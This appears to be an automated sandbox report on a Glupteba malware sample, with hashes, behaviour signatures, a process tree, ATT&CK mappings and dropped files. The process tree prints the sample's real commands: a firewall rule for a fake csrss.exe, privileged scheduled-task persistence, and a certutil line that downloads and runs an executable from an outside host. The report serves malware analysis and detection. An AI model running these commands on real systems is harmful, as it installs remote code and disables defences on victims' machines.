Analysis

  • max time kernel
    144s
  • max time network
    144s
  • platform
    windows7_x64
  • resource
    win7-20240221-en
  • resource tags

    arch:x64arch:x86image:win7-20240221-enlocale:en-usos:windows7-x64system
  • submitted
    22-05-2024 05:33

General

  • Target

    662bc6ae7788dc93c3ac59e475a2e537_JaffaCakes118.exe

  • Size

    3.8MB

  • MD5

    662bc6ae7788dc93c3ac59e475a2e537

  • SHA1

    1224f0806c6ae64ea733c4e4d9e9cc8af7ea07ae

  • SHA256

    9cf75e7ce9721c241abd8d1e07549f87d1b1bafdd72e3ed2df5034cc22991b11

  • SHA512

    bb48a8117d62bb7e0f324dca293a119f855da65391d478745d0dedb072cd1651a08042a37475e767cf4c42b3e2676062b29378e346e708c13c7f32eb17e50bb6

  • SSDEEP

    98304:+XBTX02vgUb2WD27yv+Ca9Kqbd6UlAwrmoBE1rYj49rdEpE:+RTu+2Wy/99/bYp0GdEpE

Malware Config

Signatures

  • Glupteba

    Glupteba is a modular loader written in Golang with various components.

  • Glupteba payload 21 IoCs
  • Windows security bypass 2 TTPs 12 IoCs
  • Modifies Windows Firewall 2 TTPs 1 IoCs
  • Executes dropped EXE 3 IoCs
  • Loads dropped DLL 11 IoCs
  • Windows security modification 2 TTPs 12 IoCs
  • Adds Run key to start application 2 TTPs 1 IoCs
  • Checks installed software on the system 1 TTPs

    Looks up Uninstall key entries in the registry to enumerate software on the system.

  • Manipulates WinMonFS driver. 1 IoCs

    Roottkits write to WinMonFS to hide directories/files from being detected.

  • Modifies boot configuration data using bcdedit 1 IoCs
  • Drops file in System32 directory 4 IoCs
  • Checks for VirtualBox DLLs, possible anti-VM trick 1 TTPs 1 IoCs

    Certain files are specific to VirtualBox VMs and can be used to detect execution in a VM.

  • Drops file in Windows directory 3 IoCs
  • Creates scheduled task(s) 1 TTPs 2 IoCs

    Schtasks is often used by malware for persistence or to perform post-infection execution.

  • Modifies data under HKEY_USERS 64 IoCs
  • Suspicious behavior: EnumeratesProcesses 4 IoCs
  • Suspicious use of AdjustPrivilegeToken 3 IoCs
  • Suspicious use of WriteProcessMemory 15 IoCs
  • Uses Task Scheduler COM API 1 TTPs

    The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.

Processes

  • C:\Users\Admin\AppData\Local\Temp\662bc6ae7788dc93c3ac59e475a2e537_JaffaCakes118.exe
    "C:\Users\Admin\AppData\Local\Temp\662bc6ae7788dc93c3ac59e475a2e537_JaffaCakes118.exe"
    1⤵
    • Suspicious behavior: EnumeratesProcesses
    • Suspicious use of AdjustPrivilegeToken
    PID:1712
    • C:\Users\Admin\AppData\Local\Temp\662bc6ae7788dc93c3ac59e475a2e537_JaffaCakes118.exe
      "C:\Users\Admin\AppData\Local\Temp\662bc6ae7788dc93c3ac59e475a2e537_JaffaCakes118.exe"
      2⤵
      • Windows security bypass
      • Loads dropped DLL
      • Windows security modification
      • Adds Run key to start application
      • Checks for VirtualBox DLLs, possible anti-VM trick
      • Drops file in Windows directory
      • Modifies data under HKEY_USERS
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of WriteProcessMemory
      PID:2500
      • C:\Windows\system32\cmd.exe
        C:\Windows\Sysnative\cmd.exe /C "netsh advfirewall firewall add rule name="csrss" dir=in action=allow program="C:\Windows\rss\csrss.exe" enable=yes"
        3⤵
        • Suspicious use of WriteProcessMemory
        PID:2400
        • C:\Windows\system32\netsh.exe
          netsh advfirewall firewall add rule name="csrss" dir=in action=allow program="C:\Windows\rss\csrss.exe" enable=yes
          4⤵
          • Modifies Windows Firewall
          • Modifies data under HKEY_USERS
          PID:2536
      • C:\Windows\rss\csrss.exe
        C:\Windows\rss\csrss.exe ""
        3⤵
        • Executes dropped EXE
        • Manipulates WinMonFS driver.
        • Drops file in System32 directory
        • Modifies data under HKEY_USERS
        • Suspicious behavior: EnumeratesProcesses
        • Suspicious use of AdjustPrivilegeToken
        • Suspicious use of WriteProcessMemory
        PID:2508
        • C:\Windows\system32\schtasks.exe
          schtasks /CREATE /SC ONLOGON /RL HIGHEST /TR "C:\Windows\rss\csrss.exe" /TN csrss /F
          4⤵
          • Creates scheduled task(s)
          PID:2848
        • C:\Windows\system32\schtasks.exe
          schtasks /CREATE /SC ONLOGON /RL HIGHEST /RU SYSTEM /TR "cmd.exe /C certutil.exe -urlcache -split -f https://gfixprice.space/app/app.exe C:\Users\Admin\AppData\Local\Temp\csrss\scheduled.exe && C:\Users\Admin\AppData\Local\Temp\csrss\scheduled.exe /31340" /TN ScheduledUpdate /F
          4⤵
          • Creates scheduled task(s)
          PID:2844
        • C:\Users\Admin\AppData\Local\Temp\csrss\patch.exe
          "C:\Users\Admin\AppData\Local\Temp\csrss\patch.exe"
          4⤵
          • Executes dropped EXE
          • Loads dropped DLL
          PID:2908
        • C:\Windows\system32\bcdedit.exe
          C:\Windows\Sysnative\bcdedit.exe /v
          4⤵
          • Modifies boot configuration data using bcdedit
          PID:1756
  • C:\Windows\system32\makecab.exe
    "C:\Windows\system32\makecab.exe" C:\Windows\Logs\CBS\CbsPersist_20240522053349.log C:\Windows\Logs\CBS\CbsPersist_20240522053349.cab
    1⤵
    • Drops file in Windows directory
    PID:2736

Network

MITRE ATT&CK Matrix ATT&CK v13

Execution

Scheduled Task/Job

1
T1053

Persistence

Create or Modify System Process

1
T1543

Windows Service

1
T1543.003

Boot or Logon Autostart Execution

1
T1547

Registry Run Keys / Startup Folder

1
T1547.001

Scheduled Task/Job

1
T1053

Privilege Escalation

Create or Modify System Process

1
T1543

Windows Service

1
T1543.003

Boot or Logon Autostart Execution

1
T1547

Registry Run Keys / Startup Folder

1
T1547.001

Scheduled Task/Job

1
T1053

Defense Evasion

Impair Defenses

3
T1562

Disable or Modify Tools

2
T1562.001

Disable or Modify System Firewall

1
T1562.004

Modify Registry

3
T1112

Discovery

Query Registry

2
T1012

System Information Discovery

1
T1082

Replay Monitor

Loading Replay Monitor...

Downloads

  • C:\Users\Admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\94308059B57B3142E455B38A6EB92015
    Filesize

    68KB

    MD5

    29f65ba8e88c063813cc50a4ea544e93

    SHA1

    05a7040d5c127e68c25d81cc51271ffb8bef3568

    SHA256

    1ed81fa8dfb6999a9fedc6e779138ffd99568992e22d300acd181a6d2c8de184

    SHA512

    e29b2e92c496245bed3372578074407e8ef8882906ce10c35b3c8deebfefe01b5fd7f3030acaa693e175f4b7aca6cd7d8d10ae1c731b09c5fa19035e005de3aa

  • C:\Users\Admin\AppData\Local\Temp\Tar304B.tmp
    Filesize

    177KB

    MD5

    435a9ac180383f9fa094131b173a2f7b

    SHA1

    76944ea657a9db94f9a4bef38f88c46ed4166983

    SHA256

    67dc37ed50b8e63272b49a254a6039ee225974f1d767bb83eb1fd80e759a7c34

    SHA512

    1a6b277611959720a9c71114957620517ad94541302f164eb872bd322292a952409bafb8bc2ac793b16ad5f25d83f8594ccff2b7834e3c2b2b941e6fc84c009a

  • C:\Users\Admin\AppData\Local\Temp\ntkrnlmp.exe
    Filesize

    5.3MB

    MD5

    1afff8d5352aecef2ecd47ffa02d7f7d

    SHA1

    8b115b84efdb3a1b87f750d35822b2609e665bef

    SHA256

    c41acc53cde89b94d55d6932ddd55a212ba910e1fade3da138670bb5b18ae4e1

    SHA512

    e5dc54c60be702e11772dc729eec5ec7140f293545aa3d57282adacddf686483393b0c940bbd397a9d50a6cda093865b143ae00c51ce3bf5d6b00241f97b3cdb

  • \Users\Admin\AppData\Local\Temp\csrss\patch.exe
    Filesize

    1.7MB

    MD5

    13aaafe14eb60d6a718230e82c671d57

    SHA1

    e039dd924d12f264521b8e689426fb7ca95a0a7b

    SHA256

    f44a7deb678ae7bbaaadf88e4c620d7cdf7e6831a1656c456545b1c06feb4ef3

    SHA512

    ade02218c0fd1ef9290c3113cf993dd89e87d4fb66fa1b34afdc73c84876123cd742d2a36d8daa95e2a573d2aa7e880f3c8ba0c5c91916ed15e7c4f6ff847de3

  • \Users\Admin\AppData\Local\Temp\dbghelp.dll
    Filesize

    1.5MB

    MD5

    f0616fa8bc54ece07e3107057f74e4db

    SHA1

    b33995c4f9a004b7d806c4bb36040ee844781fca

    SHA256

    6e58fcf4d763022b1f79a3c448eb2ebd8ad1c15df3acf58416893f1cbc699026

    SHA512

    15242e3f5652d7f1d0e31cebadfe2f238ca3222f0e927eb7feb644ab2b3d33132cf2316ee5089324f20f72f1650ad5bb8dd82b96518386ce5b319fb5ceb8313c

  • \Users\Admin\AppData\Local\Temp\osloader.exe
    Filesize

    591KB

    MD5

    e2f68dc7fbd6e0bf031ca3809a739346

    SHA1

    9c35494898e65c8a62887f28e04c0359ab6f63f5

    SHA256

    b74cd24cef07f0226e7b777f7862943faee4cf288178b423d5344b0769dc15d4

    SHA512

    26256a12b5b8b3a40b34f18e081cdb45ea11845589c9d458a79385a4b8178f32164b417ddc9346fab8299bc6d4b9fedb620274c4edf9321424f37a2e2a6de579

  • \Users\Admin\AppData\Local\Temp\symsrv.dll
    Filesize

    163KB

    MD5

    5c399d34d8dc01741269ff1f1aca7554

    SHA1

    e0ceed500d3cef5558f3f55d33ba9c3a709e8f55

    SHA256

    e11e0f7804bfc485b19103a940be3d382f31c1378caca0c63076e27797d7553f

    SHA512

    8ff9d38b22d73c595cc417427b59f5ca8e1fb7b47a2fa6aef25322bf6e614d6b71339a752d779bd736b4c1057239100ac8cc62629fd5d6556785a69bcdc3d73d

  • \Windows\rss\csrss.exe
    Filesize

    3.8MB

    MD5

    662bc6ae7788dc93c3ac59e475a2e537

    SHA1

    1224f0806c6ae64ea733c4e4d9e9cc8af7ea07ae

    SHA256

    9cf75e7ce9721c241abd8d1e07549f87d1b1bafdd72e3ed2df5034cc22991b11

    SHA512

    bb48a8117d62bb7e0f324dca293a119f855da65391d478745d0dedb072cd1651a08042a37475e767cf4c42b3e2676062b29378e346e708c13c7f32eb17e50bb6

  • memory/1712-3-0x0000000000400000-0x0000000000B10000-memory.dmp
    Filesize

    7.1MB

  • memory/1712-0-0x00000000037E0000-0x0000000003B87000-memory.dmp
    Filesize

    3.7MB

  • memory/1712-4-0x0000000000400000-0x0000000001E37000-memory.dmp
    Filesize

    26.2MB

  • memory/1712-6-0x0000000003B90000-0x0000000004286000-memory.dmp
    Filesize

    7.0MB

  • memory/1712-5-0x0000000000400000-0x0000000000B10000-memory.dmp
    Filesize

    7.1MB

  • memory/1712-2-0x0000000003B90000-0x0000000004286000-memory.dmp
    Filesize

    7.0MB

  • memory/1712-1-0x00000000037E0000-0x0000000003B87000-memory.dmp
    Filesize

    3.7MB

  • memory/2500-8-0x0000000000400000-0x0000000001E37000-memory.dmp
    Filesize

    26.2MB

  • memory/2500-19-0x0000000000400000-0x0000000001E37000-memory.dmp
    Filesize

    26.2MB

  • memory/2500-7-0x0000000003890000-0x0000000003C37000-memory.dmp
    Filesize

    3.7MB

  • memory/2500-9-0x0000000000400000-0x0000000001E37000-memory.dmp
    Filesize

    26.2MB

  • memory/2508-419-0x0000000000400000-0x0000000001E37000-memory.dmp
    Filesize

    26.2MB

  • memory/2508-542-0x0000000000400000-0x0000000001E37000-memory.dmp
    Filesize

    26.2MB

  • memory/2508-219-0x0000000000400000-0x0000000001E37000-memory.dmp
    Filesize

    26.2MB

  • memory/2508-291-0x0000000000400000-0x0000000001E37000-memory.dmp
    Filesize

    26.2MB

  • memory/2508-20-0x00000000038F0000-0x0000000003C97000-memory.dmp
    Filesize

    3.7MB

  • memory/2508-563-0x0000000000400000-0x0000000001E37000-memory.dmp
    Filesize

    26.2MB

  • memory/2508-540-0x0000000000400000-0x0000000001E37000-memory.dmp
    Filesize

    26.2MB

  • memory/2508-562-0x0000000000400000-0x0000000001E37000-memory.dmp
    Filesize

    26.2MB

  • memory/2508-555-0x0000000000400000-0x0000000001E37000-memory.dmp
    Filesize

    26.2MB

  • memory/2508-556-0x0000000000400000-0x0000000001E37000-memory.dmp
    Filesize

    26.2MB

  • memory/2508-557-0x0000000000400000-0x0000000001E37000-memory.dmp
    Filesize

    26.2MB

  • memory/2508-559-0x0000000000400000-0x0000000001E37000-memory.dmp
    Filesize

    26.2MB

  • memory/2508-560-0x0000000000400000-0x0000000001E37000-memory.dmp
    Filesize

    26.2MB

  • memory/2508-561-0x0000000000400000-0x0000000001E37000-memory.dmp
    Filesize

    26.2MB

  • memory/2908-40-0x0000000140000000-0x00000001405E8000-memory.dmp
    Filesize

    5.9MB

  • memory/2908-26-0x0000000140000000-0x00000001405E8000-memory.dmp
    Filesize

    5.9MB